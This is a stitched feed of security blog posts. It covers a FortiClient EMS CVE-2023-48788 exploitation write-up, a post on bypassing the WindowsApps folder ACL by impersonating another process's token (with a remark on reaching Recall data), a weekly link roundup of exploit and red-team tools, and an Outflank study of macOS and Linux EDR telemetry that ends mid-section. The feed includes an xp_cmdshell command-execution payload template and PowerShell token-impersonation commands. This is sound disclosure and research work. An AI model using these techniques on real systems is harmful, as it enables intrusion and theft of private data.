Mitigations exist to prevent damage caused by this feature of MSSQL. For example, by default, XP_CMDSHELL is disabled and must be re-enabled by the attacker to execute commands. The privilege needed to re-enable XP_CMDSHELL is also a removable privilege, so the account in use can be prevented from enabling this functionality. In practice, this is rarely done, so SQLi against an MSSQL server is almost always a path to RCE.

New Exploitation Challenges

The original 7.0.x weaponization utilized MSSQL’s CONVERT on a hex encoded payload to bypass a behavior of FortiClient that would always uppercase the entire SQL query. This behavior causes many arbitrary Windows commands to fail as most utilities are case sensitive.

Figure 1. Original 7.0.x payload

Running the 7.0.x variant of the exploit against a vulnerable 7.2.x target immediately shows an issue.

Figure 2. Errors on 7.2.x

The target returns an extremely opaque error message. From here, it seems prudent to observe the logs of a real client, and put the server in a debug logging state so we can observe any changes in the message type being sent to the server.

From this we can see that the format of the arguments for the registration message has changed (the SYSINFO field is now between the pipe characters). Further inspection of the base64 encoded system information parameter shows several required fields have been added to the message format.

Figure 3. Differences in agent registration

Compensating for these changes is easy enough, and we can use copy and pasted data from the sample registration we observed. This, however, requires performing version detection to determine the correct message format for the exploit. Fortunately, there is a request that provides us with this information.

Figure 4. Detecting FortiClient versions remotely

The new version of this output is as follows:

Figure 5. Updating to detect 7.2.x versions

Let’s look at what is going on. Now that we have a valid message, let’s attempt to reuse our previous exploit payload.

Figure 6. Errors after updating

A similarly opaque error message like before. That’s unfortunate. Let’s dig into what is going on here.

Figure 7. Detailed error showing SQL ending before equal sign

Interesting. 7.2.x appears to be using = as a delimiter on the input being provided to the vulnerable function. Another thing to note is that our input is being converted to upper case in the code path leading to the vulnerable function. This disqualifies base64 as an encoding method.

Extending The Exploit

At this point, to diverge from the cool and dispassionate tone of most exploit deep dives, I’ll provide a glimpse into the reality of exploit development for people interested in this field, and encouragement for fellow exploit development professionals. We ran into three simple issues that coalesced into a difficult upgrade process. This set of issues disguised our success for over a week, in which we hammered this target with everything we could think of to get around the equals sign delimiter issue. The core issues follow:

  1. calc.exe is no longer a valid test payload for command execution
    1. calc.exe is no longer an executable in system32, executing it from cmd.exe now executes an application called Calculator.exe
  2. SQL does not guarantee the order of execution of sub-statements, only that execution of statements occurs in a valid order.
  3. All input is converted to upper case for case insensitive comparisons.
  4. The equals sign delimiter makes the design of useful payloads very challenging.
    1. Individual EXEs and commands with no arguments can be executed with ease, but complex statements require encoding, which again is complicated by issue 3.

The confluence of these issues was being unable to detect successful exploitation until we looked into the audit logs of the SQL server itself. At that point, we saw invocations of XP_CMDSHELL going back to the day after we began this project. Changing the test payload from calc.exe to notepad.exe demonstrated successful exploitation.

To quote Vonnegut: “So it goes.”

We mitigated the equals delimiter and upper case issues by using a mix of PowerShell and url encoding.

The basic algorithm of the payload looks like this:

EXEC xp_cmdshell ‘Powershell.exe -command “cmd.exe /c “UrlDecode( “<url encoded attacker command>” ) “‘

It relies on powershell to decode the arguments passed to cmd.exe. `start /b` was not needed here, due to the fact that MSSQL spawns commands in it’s own session, which is not attached to a window.

Figure 8. 7.2.x payload utilizing case insensitive powershell decoding

And the post-ex process tree for our lovely defender siblings.

Figure 9. Successful arbitrary command execution

NodeZero

NodeZero Attack Path utilizing CVE-2023-48788 to load a remote access tool and dump LSASS 

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

The post CVE-2023-48788: Revisiting Fortinet FortiClient EMS to Exploit 7.2.X appeared first on Horizon3.ai.

Working your way Around an ACL

By: tiraniddo
4 June 2024 at 04:20

There's been plenty of recent discussion about Windows 11's Recall feature and how much of it is a garbage fire. Especially a discussion around how secure the database storing all those juicy details of your banking details, sexual peccadillos etc is from prying malware. Spoiler, it's only protected through being ACL'ed to SYSTEM and so any privilege escalation (or non-security boundary *cough*) is sufficient to leak the information. 

However, I've not spent the time to setup Recall on any machine I own and the files are probably correctly ACL'ed. Therefore, this blog isn't here to talk about that, instead I was following a thread about Recall and the security of the database by Albacore on Mastodon and one toot in particular caught my interest.

"@DrewNaylor File Explorer always runs unelevated, Administrators also have access to C:\Program Files\WindowsApps yet you simply can't open it in File Explorer without breaking ACLs no matter how you try."

I thought this wasn't true based on what I know about the "C:\Program Files\WindowsApps" folder, so I decided to see if I can get it show in an unelevated explorer. It turns out to be more complex than it should be for various reasons, so let's dig in.

What is the WindowsApps Folder?

The WindowsApps folder is used to store system installations of packaged applications. Think UWP, Desktop Bridge, Calculator etc. And it's true, if you try and view the folder from a non-elevated application it's gives you access denied:

PS> ls 'C:\Program Files\WindowsApps\'
ls : Access to the path 'C:\Program Files\WindowsApps' is denied.

Why would Microsoft do this as it doesn't seem like a security sensitive location? If I had to guess it's to stop a user browsing to the packaged applications and double clicking on the executable files and being confused when that doesn't work. Packaged applications are mostly normal PE files, however, they can't be executed directly. Instead a complex sequence involving COM and/or the container APIs need to be invoked to setup the runtime environment. This guess seems likely because if you know the name of the packaged application there's nothing stopping you listing it's contents, it's only the top level WindowsApps folder which is blocked.

PS> ls 'C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2403.6.0_x64__8wekyb3d8bbwe'

    Directory: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2403.6.0_x64__8wekyb3d8bbwe

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2024-05-15     19:42                AppxMetadata
d-----        2024-05-15     19:42                Assets
-a----        2024-05-15     19:42          54073 AppxBlockMap.xml
-a----        2024-05-15     19:42          11431 AppxManifest.xml
-a----        2024-05-15     19:42          12255 AppxSignature.p7x
-a----        2024-05-15     19:42        4179968 CalculatorApp.dll
-a----        2024-05-15     19:42          19456 CalculatorApp.exe
<SNIP>

It's seems likely that the reason you can't access the WindowsApps folder is due to ACLs. Therefore, from an admin PowerShell prompt we can inspect what the ACLs are:

PS> Format-Win32SecurityDescriptor 'C:\Program Files\WindowsApps\' -MapGeneric
Path: C:\Program Files\WindowsApps\
Type: File
Control: DaclPresent, DaclAutoInherited, DaclProtected

<SNIP>

 - Type  : AllowedCallback
 - Name  : BUILTIN\Users
 - SID   : S-1-5-32-545
 - Mask  : 0x001200A9
 - Access: GenericExecute|GenericRead
 - Flags : None
 - Condition: Exists WIN://SYSAPPID

I've removed all of the output baring the final ACE as this is the important one. The rest of the ACL doesn't have any other ACE which would refer to a normal user, only administrators. It shows that the BUILTIN\Users group should get read and execute access, however, only if the WIN://SYSAPPID security attribute exists in the user's access token. I'm not going to explain how this works, see my series on AppLocker for how conditional ACEs are used, or buy my book. This is why you can't just list the folder in explorer, the process token doesn't have the WIN://SYSAPPID attribute and so access is denied.

What's the WIN://SYSAPPID attribute for? It's added to access tokens when a packaged application is executed and contains information about the package identity. This can then be referenced by an application, or the kernel in this case to check for information about the package the process in a member of. As setting this security attribute on a token requires SeTcbPrivilege it's hard to spoof. 

In this case we don't need to spoof a specific value of the attribute, it just has to exist. We can't create it, but perhaps there's already an access token we can borrow to give us access instead.

Finding a Suitable Access Token

There's likely to be a process running as the user with the WIN://SYSAPPID attribute set. As the primary token of that process should be the same user then there's nothing stopping us impersonating it to get access to the WindowsApps folder. First let's find a process with a suitable token:

PS> $ps = Get-NtProcess -FilterScript {
  Use-NtObject($token = Get-NtToken -Process $_ -Access Query, Duplicate) {
     "WIN://SYSAPPID" -in $token.SecurityAttributes.Name -and -not $token.AppContainer
  }
}
PS> $ps.Count
7

This script enumerates all accessible processes, then filters them down to only processes with a token having the WIN://SYSAPPID attribute. We also filter out any App Container tokens as they probably won't be able to access the folder either, plus it's just more hassle to deal with them. We also ensure that we can open the token for Duplicate access, as we'll need to call DuplicateToken to get an impersonation token from the primary token. We can see in this example that there are 7 processes matching our criteria.

Finally we can just test access by getting an impersonation token, impersonating it then enumerating the WindowsApps folder.

PS> $token = Get-NtToken -Process $ps[0] -Duplicate
PS> Invoke-NtToken $token { 
   ls 'C:\Program Files\WindowsApps\' 
}

    Directory: C:\Program Files\WindowsApps

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2024-05-31     07:50                Deleted
d-----        2020-09-25     07:18                DeletedAllUserPackages
d-----        2019-12-07     01:53                Microsoft.Advertising...
<SNIP>

And it works! However, this isn't actually what the toot originally said. I'm supposed to be able to get the WindowsApps folder to show in a non-elevated explorer window. Let's try and do that then.

Finishing the Job

As the process token is our own user and in our own logon session then we meet the criteria to  duplicate a new primary token from that process and use that with CreateProcessAsUser. Unfortunately there's a big problem, if you run a new copy of explorer it realizes there's an instance already running and calls into the existing instance and shows the new window. Therefore there's never a copy of explorer that would run with a UI which has the token you specified. There is a "/SEPARATE" command line argument you can pass, which does create a new UI instance. Unfortunately it's not the process you started that sticks around, instead a new instance of explorer is spawned via COM and that's the one which hosts the UI.

Instead, the "simplest" approach is to just terminate all instances of explorer and spawn a new one. Bit harsh, but fair IMO. You should terminate with a non-zero exit code, otherwise the explorer instance will be automatically restarted. There is a second problem however. If you specify a primary token with the WIN://SYSAPPID attribute you'll find it's no longer there once the process starts. This is due to the kernel stripping this attribute when building a new token for the process. There are various ways around this but the simplest is to start the process suspended, then use NtSetInformationProcess to swap the token to the one with the attribute. Setting the token after creation does not strip the attributes. Putting it all together:

PS> $ex = Get-NtProcess -Name 'explorer.exe'
PS> $ex.Terminate(1)
PS> $token = Get-NtToken -Process $ps[0] -Duplicate -TokenType Primary
PS> $p = New-Win32Process "explorer.exe" -CreationFlags Suspended
PS> Set-NtToken -Process $p -Token $token
PS> Resume-NtProcess -Process $p

Now you can navigate to the WindowsApps folder and see the results.

A screenshot of an explorer window showing the WindowsApps folder being listed.

Hopefully this might give you a bit of insight into the thought process behind trying to bypass ACLs.

UPDATE 2024/06/05 - Turns out I was wrong about Recall being secure. They use the same technique I describe in this blog post except they need a specific WIN://SYSAPPID, for example "MicrosoftWindows.Client.AIX_cw5n1h2txyewy". You can get a token for this attribute by opening the instance of AIXHost.exe, getting its token and using that to access the database files. Or, as the files are owned by the user you can just rewrite the DACLs for the files and gain access that way, no admin required ;-)

Last Week in Security (LWiS) - 2024-06-03

By: Erik
4 June 2024 at 03:59

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-05-29 to 2024-06-03.

News

  • Detecting and Preventing Unauthorized User Access - Snowflake, CrowdStrike, and Mandiant, are providing a joint statement related to their ongoing investigation involving a targeted threat campaign against some Snowflake customer accounts. It was previously reported that Snowflake itself had a breach. It looks like its just a bunch of Snowflake customers that are getting breached.
  • [PDF] GRU's BlueDelta Targets Key Networks in Europe with Multi-Phase Espionage Campaigns - A detailed report on how an APT operates. While the malware itself is not impressive (batch scripts), it likely was somewhat effective. Take a look at the phishing lures for inspiration on your next red team operation.
  • [PDF] Surveilling the Masses with Wi-Fi-Based Positioning Systems - Apple's database of WiFi router locations aids Apple devices in locating themselves, but having a fairly accurate location of every WiFi router every Apple device has ever seen is a pretty powerful intelligence tool if queried correctly and the data presented well.

Techniques and Write-ups

Tools and Exploits

  • RtlClone - Implementing RtlCloneUserProcess using NtCreateUserProcess, detailing undocumented APIs for process cloning.
  • RelabelAbuse - Simple POC for exploiting SeRelabelPrivilege
  • WALK_WebAssembly_Lure_Krafter - A web assembly (WASM) phishing lure generator based on pre-built templates and written in Rust with some GenAI assistance. W.A.L.K. aims at aiding with initial access during red teams and phishing exercises leveraging WASM smuggling techniques.
  • ansible-havoc - Scripts to deploy Havoc on Linode and setup categorization and SSL.
  • Cadiclus - Privilege Escalation Tool for Linux Systems that use PowerShell.
  • CVE-2023-6702 - Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (v8ctf submission).
  • smbclient-ng - is a fast and user friendly way to interact with SMB shares.
  • CVE-2024-4358 - Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800).
  • goLAPS - Retrieve LAPS passwords from a domain. The tools is inspired in pyLAPS.
  • browser.lol - This free service launches a browser inside your browser. They are certainly logging activity, but a nice service for opening suspect links without sensitive information. Tip: use the v6 link to get a better experience. You can self host your own version with kasm workspaces.

New to Me and Miscellaneous

This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!

  • Recover an ADCS platform from compromise - Microsoft guidance on recovering your AD CS environment after it's been compromised. We all know you popped ESC# today... Give it a read and then add this to your finding resources!
  • VirtualGHOST - This repository contains a PowerShell script leveraging VMWare PowerCLI to identify unregistered VMWare Virtual Machines (VMs) that are powered on by comparing the list of VMs registered in the inventory (vCenter or ESXi) vs. those that are powered on.
  • NetWrapper - Simple netexec wraper with html repport.
  • State of WiFi Security in 2024 - Doing oWireless pentesting? Must read!
  • julep - Open-source alternative to Assistant's API with a managed backend for memory, RAG, tools and tasks. ~Supabase for building AI agents.
  • flightsim - A utility to safely generate malicious network traffic patterns and evaluate controls.
  • Invoke-SessionHunter - Retrieve and display information about active user sessions on remote computers. No admin privileges required.

Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.

Before yesterdayMain stream

EDR Internals for macOS and Linux

3 June 2024 at 15:56

Many public blogs and conference talks have covered Windows telemetry sources like kernel callbacks and ETW, but few mention macOS and Linux equivalents. Although most security professionals may not be surprised by this lack of coverage, one should not overlook these platforms. For example, developers using macOS often have privileged cloud accounts or access to intellectual property like source code. Linux servers may host sensitive databases or customer-facing applications. Defenders must have confidence in their tools for these systems, and attackers must understand how to evade them. This post dives into endpoint security products on macOS and Linux to understand their capabilities and identify weaknesses.

Endpoint detection and response (EDR) agents comprise multiple sensors: components that collect events from one or more telemetry sources. The agent formats raw telemetry data into a standard format and then forwards it to a log aggregator. EDR telemetry data informs tools such as antivirus, but it also informs humans as they manually hunt for threats in the network.

This post should not be considered a comprehensive list of telemetry sources or EDR implementations. Instead, the following observations were made while reverse engineering some of the most popular macOS and Linux agents. Outflank tested the latest version of each product on macOS 14.4.1 (Sonoma) and Linux 5.14.0 (Rocky 9.3). After reviewing previous research, the author will describe relevant security components of macOS and Linux, present their understanding of popular EDR products, and then conclude with a case study on attacking EDR using this knowledge.

Notable EDR Capabilities

Although every product has its own “secret formula” for detecting the latest threats, nearly all EDR agents collect the following event types:

  • Authentication attempts
  • Process creation and termination
  • File access, modification, creation, and deletion
  • Network traffic

Outflank’s research primarily focused on these events, but this post will also cover other OS-specific telemetry.

Previous Research

Security researchers have covered Windows EDR internals in great detail. A quick Google search for “EDR bypass” or “EDR internals” will return an extensive corpus of blogs, conference talks, and open-source tools, all focused on Windows EDR. That said, most companies consulted by the author also deployed an EDR agent to their macOS and Linux systems. These agents are relatively undocumented compared to their Windows counterparts. This lack of information is likely due to the success of open-source tools such as Mythic and Sliver in evading out-of-the-box antivirus solutions (including those bundled with EDR).

Of course, there is full Linux kernel source code and Apple documentation, albeit not verbose, on stable macOS APIs. This alone does not give much insight into the workings of EDR agents, though, as it only describes the possible ways said agent might collect information on a system. One can glimpse some additional understanding by reviewing open-source projects, such as the outstanding Objective-See collection for macOS or container runtime security projects for Linux. Below is a list of projects that share functionality with EDR agents reversed by Outflank:


Even still, these projects do not fully replicate the capabilities of popular EDR agents. While each may collect a subset of the telemetry used by commercial products, none of these projects appeared to have the same coverage.

Telemetry Sources – macOS

Unsupported Options

In studying macOS internals, one might discover promising security components that commercial products do not use. For instance, many considered kernel extensions (KEXT) a de facto sensory component of EDR agents until Catalina (2019) phased them out completely. Michael Cahyadi’s post on the transition from kernel extensions to modern alternatives documents the work required to migrate from these frameworks.

Similarly, modern macOS (2016+) implements a standardized logging system called unified logging. Logs are categorized by subsystem (e.g., com.apple.system.powersources.source) and can be viewed with /usr/bin/log or the Console application. While unified log data is great for debugging, the logs are restricted with a private entitlement (com.apple.private.logging.stream), rendering them unusable to third-party EDR agents.

Endpoint Security API

Apple now recommends the Endpoint Security (ES) API for logging most events an EDR agent requires:

  • Authentication attempts
  • Process creation and termination
  • File access, modification, creation, and deletion

The complete list of ES event types in Apple’s documentation follows a standard format: ES_EVENT_TYPE_<RESPONSE TYPE>_<EVENT TYPE NAME>.

The “response type” can be NOTIFY or AUTH, depending on whether the ES client must authorize an action. The “event type name” describes each event. (Examples will be discussed in the following sections.)

Plenty of open-source examples exist for those looking to write an ES API client, but executing them on modern macOS requires the developer to sign their executable with a restricted entitlement or disable SIP on the target system.

Network events are notably absent from the ES API. Instead, EDR agents can utilize an additional sensor that captures events using the NetworkExtension framework.

Following Apple’s deprecation of kernel extensions, events can be collected entirely from user-mode using the ES API and NetworkExtension framework. This differs from Windows and Linux, which rely heavily on kernel-mode sensors.

Examining ES Event Types

Red Canary Mac Monitor is a free, closed-source ES client. It uses a system extension, so the client must be embedded within its application bundle in Contents/Library/SystemExtensions/. In this case, the bundle’s entitlements can be listed using the codesign utility.


codesign -d --entitlements :- /Applications/Red\ Canary\ Mac\ Monitor.app/Contents/Library/SystemExtensions/com.redcanary.agent.securityextension.systemextension

The output property list will vary depending on the target system extension, but all ES clients must have the com.apple.developer.endpoint-security.client entitlement.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.application-identifier</key>
      <string>UA6JCQGF3F.com.redcanary.agent.securityextension</string>
    <key>com.apple.developer.endpoint-security.client</key>
      <true/>
    <key>com.apple.developer.team-identifier</key>
        <string>UA6JCQGF3F</string>
    <key>com.apple.security.application-groups</key>
      <array>
        <string>UA6JCQGF3F</string>
      </array>
  </dict>
</plist>

ES clients must initialize the API using two functions exported by libEndpointSecurity.dylib: es_new_client and es_subscribe. The latter is particularly interesting because it indicates to the ES API which events the client should receive. Once a client of interest has been discovered, it can be instrumented using Frida (after disabling SIP). The es_subscribe function contains two parameters of interest: the number of events (event_count) and a pointer to the list of event IDs (events).


es_return_t es_subscribe(es_client_t* client, const es_event_type_t* events, uint32_t event_count);

With this information, one can inject a target system extension process with Frida and hook es_subscribe to understand which events it subscribes to. The function will likely only be called when the system extension starts, so analyzing an EDR agent may require some creative thinking. Mac Monitor makes this step easy as the runtime GUI can update the list of events.

A screenshot of the settings window in Mac Monitor that allows a user to select which ES event types the client should subscribe to.
Changing Target ES Events in Red Canary Mac Monitor

Outflank created a simple Frida script to hook es_subscribe and print the list of events, as well as an example Python script to create or inject the process.

Demo of retrieving ES API subscriptions with Frida
Retrieving ES API Events with Frida

Examining ES Event Types

Even with a list of event types, the actual data available to an ES client may not be clear. Outflank published an open-source tool called ESDump that can subscribe to any currently available event types and output JSON-formatted events to stdout.

The list of event types is defined in config.h at compile-time. For example, the following config will subscribe to the event types selected in the previous section.

A screenshot of ESDump config.h
ESDump Config

Compile the program and then copy it to a macOS system with SIP disabled. ESDump does not have any arguments.

Demo of dumping ES events with ESDump
Dumping Endpoint Security Events

ESDump uses audit tokens to retrieve IDs for the associated process and user. The program resolves process and user names to enrich raw data.

Screenshot of ESDump output where an audit token was used to resolve a process and user name
Process and User Name Resolved from Audit Token

NetworkExtension Framework

Unlike the ES API, the NetworkExtension framework does not have predefined event types. Instead, agents must subclass various framework classes to monitor network traffic. Each of these framework classes requires a different entitlement. The relevant entitlements provide insight into possible use cases:

  • DNS Proxy – Proxy DNS queries and resolve all requests from the system.
  • Content Filter – Allow or deny network connections. Meant for packet inspection and firewall applications.
  • Packet Tunnel – Meant for VPN client applications.

In addition to the DNS request and response data, providers can access metadata about the source process, including its signing identifier and application audit token. Content filter providers can also access the process audit token, which is different from the application audit token if a system process makes a network connection on behalf of an application. In both cases, these properties are enough to find the originating process and user IDs to correlate network extension data with ES API events.

Analyzing Network Extensions

Discovering the network extension provider(s) an agent implements is simple, as they each require separate entitlements. DNSMonitor from Objective-See is an open-source DNS proxy provider. It uses a system extension, so the provider must be embedded within its application bundle in Contents/Library/SystemExtensions/.

A screenshot of macOS Finder showing the content of DNSMonitor's application bundle with the user about to click "Show Package Contents" for the embedded system extension.
Opening a System Extension Bundle

Inside a system extension bundle, there will be a file at Contents/Info.plist containing information about its entitlements. The NetworkExtension key should be present, with a NEProviderClasses subkey that lists each provider implementation.

<key>NetworkExtension</key>
<dict>
	<key>NEMachServiceName</key>
	<string>VBG97UB4TA.com.objective-see.dnsmonitor</string>
	<key>NEProviderClasses</key>
	<dict>
		<key>com.apple.networkextension.dns-proxy</key>
		<string>DNSProxyProvider</string>
	</dict>
</dict>

Each provider type will also highlight the name of the associated class. This information is enough to start reversing an extension using a tool like Hopper.

A screenshot of Hopper on macOS where the built-in search is used to find method's of the "DNSProxyProvider" class.
DNS Proxy Provider Class Methods

Creating a Network Extension

While knowing the providers implemented by a macOS network extension is valuable, more is needed to understand the data available to the agent. Outflank released an open-source tool called NEDump that implements a content filter provider and writes JSON-formatted events to stdout. The application and system extension must be signed, even with SIP disabled, so the repository includes a signed release binary. As a system extension is utilized, the application must be copied to /Applications/ to function. No arguments are required to execute NEDump and start receiving event data.

Demo of dumping content filter events with NEDump
Dumping Content Filter Events

Telemetry Sources – Linux

While Linux components are deprecated less often than macOS equivalents, most Linux EDR agents had comparable, modern implementations. For example, Auditd could provide the necessary telemetry for an EDR agent, but newer alternatives have better performance. In addition, only one program can subscribe to Auditd at a time, meaning the agent may conflict with other software. Both reasons sit among the most common EDR complaints, likely explaining why Outflank did not observe any products using these methods by default.

Kernel Function Tracing

The observed agents all utilized kernel function tracing as their primary telemetry sources. Linux offers several ways to “hook” kernel functions to inspect their arguments and context. Popular EDR agents used the following trace methods:

  • Kprobes and Return Probes – Any kernel function (or address) that a client resolves can be traced using kernel probes. Function resolution requires kernel symbols to be available and likely requires different addresses for kernel versions or even distributions. Target functions may even be unavailable due to compile-time optimizations.
  • Tracepoints – A “tracepoint” is a function call added to various functions in the Linux kernel that can be hooked at runtime. These work similarly to kprobes but should be faster and do not require function resolution. However, some target functions may not have a tracepoint.
    • Raw Tracepoints – A “raw” tracepoint is a more performant alternative to any non-syscall or sys_enter/sys_exit tracepoint. These hooks can also monitor syscalls that don’t have a dedicated tracepoint.
  • Function Entry/Exit Probes – Fentry and fexit probes act similarly to tracepoints, but they are added by GCC (-pg).

Kernel-Mode Programming

Traditionally, only loadable kernel modules (LKM) could use kernel tracing features. LKMs are similar to Windows drivers—crashes may result in unrecoverable kernel errors, raising similar stability concerns. Linux kernel versions 4.x implement an “extended” version of Berkeley Packet Filter to address these concerns called eBPF. This feature allows developers to load small, verifiable programs into the kernel. eBPF programs have material constraints, but they should mitigate the stability risks of LKM-based sensors. Only newer Linux kernel versions support eBPF and certain advanced eBPF features; customers may not have these versions deployed across their environments. This led many EDR vendors to offer two (or more!) versions of their Linux agent, each targeting a different kernel version.

Liz Rice from Isovalent wrote an excellent, free book on eBPF. The company also has a free eBPF lab on its website for those who prefer a hands-on approach. Many open-source projects demonstrate good examples of eBPF-based tracing. This post only covers the newest eBPF variant of each agent, but it is safe to assume that other variants collect similar information with a slightly modified eBPF or LKM-based sensor.

Analyzing eBPF Programs

Two components of eBPF-based sensors may provide insights into their implementation: programs and maps. Each eBPF program typically monitors a single kernel function and uses a map to communicate with the user-mode agent. Microsoft SysmonForLinux is a well-documented, open-source eBPF-based monitoring tool. It uses several tracepoints to monitor process, file, and networking events. Once installed, a complete list of currently loaded programs can be retrieved using bpftool with the bpftool prog list command. The results usually include unrelated programs, but the PIDs can identify relevant results, as seen below.


52: raw_tracepoint  name ProcCreateRawExit  tag ebba2584bc0537a4  gpl
        loaded_at 2024-05-14T12:42:20-0500  uid 0
        xlated 6912B  jited 3850B  memlock 8192B  map_ids 3,5,11,9,8,10
        btf_id 54
        pids sysmon(807)

The bytecode of an eBPF program is accessible as well, using the bpftool prog dump command.


int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args * ctx):
0xffffffffc02f18e8:
; int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args *ctx)
   0:	nopl   0x0(%rax,%rax,1)
   5:	xchg   %ax,%ax
   7:	push   %rbp
   8:	mov    %rsp,%rbp
   b:	sub    $0x98,%rsp
  12:	push   %rbx

Additionally, the bpftool map list command will retrieve a complete list of maps. Again, there are unrelated results, but the PIDs describe associated processes.

11: array  name eventStorageMap  flags 0x0
        key 4B  value 65512B  max_entries 512  memlock 33546240B
        pids sysmon(807) 

The contents of a map can be accessed with bpftool map dump.


key:
00 00 00 00
value:
01 ff 00 00 40 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
ea 02 00 00 0c 56 00 00  85 88 52 b5 30 ee 3c 00
00 00 08 00 24 81 00 00  61 d7 37 66 00 00 00 00
ac 4e a8 08 00 00 00 00  61 d7 37 66 00 00 00 00
ac 4e a8 08 d7 8f ff ff  61 d7 37 66 00 00 00 00
ac 4e a8 08 00 00 00 00  00 00 00 00 20 00 00 00

Retrieving the name and bytecode for each program should be enough to understand which functions an eBPF agent monitors. Outflank created a Bash script to expedite the enumeration described above.

Sensor Implementations – macOS

The EDR agents Outflank reviewed on macOS all had similar implementations. The following sections aim to describe commonalities as well as any unique approaches.

Authentication Events

Multiple agents collected authentication data using getutxent, some at regular intervals and others in response to specific events. For instance, one agent used the Darwin Notification API to subscribe to com.apple.system.utmpx events. Outflank created another Frida script that can be used with hook.py script to examine these subscriptions.

Other agents subscribed to the following ES API events as a trigger to check utmpx:

  • AUTHENTICATION – The most general authentication event. Generated by normal login, sudo usage, and some remote logins.
  • PTY_GRANT/CLOSE – Records each pseudoterminal control device (shell session), including local Terminal and remote SSH connections.
  • LW_SESSION_LOGIN/LOGOUT – Occurs when a user logs in normally. Includes the username and a “graphical session ID” that appears to track whether a session has ended.
  • OPENSSH_LOGIN/LOGOUT – SSH logins, including failed attempts. Includes the username and source address.
  • LOGIN_LOGIN/LOGOUT – Official documentation states these events are generated for each “authenticated login event from /usr/bin/login“. The author was unable to produce events of this type.

Process Events

All the reviewed macOS agents subscribed to the following process event types.

  • EXEC
  • FORK
  • EXIT

File Events

All the reviewed macOS agents subscribed to the following file event types:

  • CREATE
  • OPEN
  • CLOSE
  • LINK
  • UNLINK
  • RENAME
  • MOUNT
  • CLONE
  • SETMODE
  • SETOWNER
  • SETFLAGS
  • SETEXTATTR

A subset of the agents subscribed to additional event types:

  • UNMOUNT
  • READDIR
  • DELETEEXTATTR
  • SETATTRLIST
  • REMOUNT
  • TRUNCATE
  • SETACL – Although macOS uses POSIX file permissions, it also implements more granular access control using Access Control Lists (ACL).

Network Events

All the reviewed macOS agents used a network extension to implement a content filter provider. Refer to the previous sections for more information on the data available to content filters.

macOS-Specific Events

Each macOS agent was subscribed to a subset of the following OS-specific events:

  • REMOTE_THREAD_CREATE
  • PROC_SUSPEND_RESUME
  • XP_MALWARE_DETECTED – XProtect, the built-in macOS antivirus, detected malware. A complimentary event type, XP_MALWARE_REMEDIATED, indicates that malware was removed.
  • GET_TASK_READ/INSPECT/NAME – A process retrieved the task control/read/inspect/name port for another process. Mach ports are an IPC mechanism on macOS.
  • CS_INVALIDATED – The code signing status for a process is now invalid, but that process is still running.
  • SIGNAL – A process sent a signal to another process.
  • UIPC_CONNECT – A process connected to a UNIX domain socket.
  • BTM_LAUNCH_ITEM_ADD – A launch item was made known to background task management. This includes common macOS persistence methods like launch agents/daemons and login items.

Sensor Implementations – Linux

Unlike macOS agents, the Linux agents reviewed by Outflank had much greater diversity in their implementations. The following sections compare approaches taken by various products.

Authentication Events

A subset of the reviewed Linux agents hooked the following PAM functions:

  • pam_authenticate – Includes failed login attempts.
  • pam_open_session – Likely required to correlate other events with a user session.

Other agents monitored specific files to capture authentication events:

  • /var/run/utmp
  • /var/log/btmp – Includes failed login attempts.

Process Events

Each Linux agent used a tracepoint (some used raw tracepoints) for sched_process_exec. One product also placed a fentry probe on finalize_exec, an internal kernel function called by execve, but it was unclear what additional information this could provide. Only some agents appeared to monitor fork usage with a sched_process_fork tracepoint. All agents monitored process termination with tracepoints or fentry probes on sched_process_exit, taskstats_exit, sys_exit_setsid, or exit.

File Events

A subset of the reviewed Linux agents only monitored the following syscalls using fentry probes or kprobes:

  • chdir
  • chmod
  • chown
  • clone
  • clone_file_range
  • copy_file_range
  • dup
  • fallocate
  • fchdir
  • fchmod
  • fchmodat
  • fchown
  • fchownat
  • openat
  • pwrite
  • read
  • rename
  • renameat
  • renameat2
  • sendfile
  • setfsgid
  • setfsuid
  • setgid
  • setregid
  • setresgid
  • setreuid
  • setsid
  • setuid
  • truncate
  • unlink
  • unlinkat
  • unshare
  • write

While some agents relied entirely on syscalls, others only traced a few and attached fentry probes or kprobes to the following internal kernel functions:

  • chmod_common
  • chown_common
  • do_filp_open
  • ioctl_file_clone
  • locks_remove_file
  • mnt_want_write
  • notify_change
  • security_file_open
  • security_file_permission
  • security_inode_getattr
  • security_inode_getxattr
  • security_inode_removexattr
  • security_inode_setxattr
  • security_inode_unlink
  • security_mmap_file
  • security_path_link
  • security_path_mkdir
  • security_path_rename
  • security_path_unlink
  • security_sb_free
  • security_sb_mount
  • vfs_copy_file_range
  • vfs_fallocate
  • vfs_link
  • vfs_rename
  • vfs_unlink
  • vfs_write

Network Events

Outflank observed two general strategies for monitoring network traffic. Some agents monitored the following syscalls using kprobes or fentry probes:

  • socket
  • bind
  • accept
  • setsockopt
  • socketcall

Instead of monitoring networking syscalls, the remaining agents traced the following internal kernel functions with fentry or kprobes:

  • sock_create
  • inet_bind/inet6_bind
  • inet_sendmsg/inet6_sendmsg
  • inet_recvmsg/inet6_recvmsg
  • inet_csk_accept
  • inet_accept
  • inet_listen
  • tcp_close
  • inet_release
  • tcp_v4_connect/tcp_v6_connect
  • inet_dgram_connect – UDP
  • inet_stream_connect – TCP
  • sock_common_recvmsg – DCCP
  • sk_attach_filter – Called when SO_ATTACH_FILTER is passed to setsockopt.

Linux-Specific Events

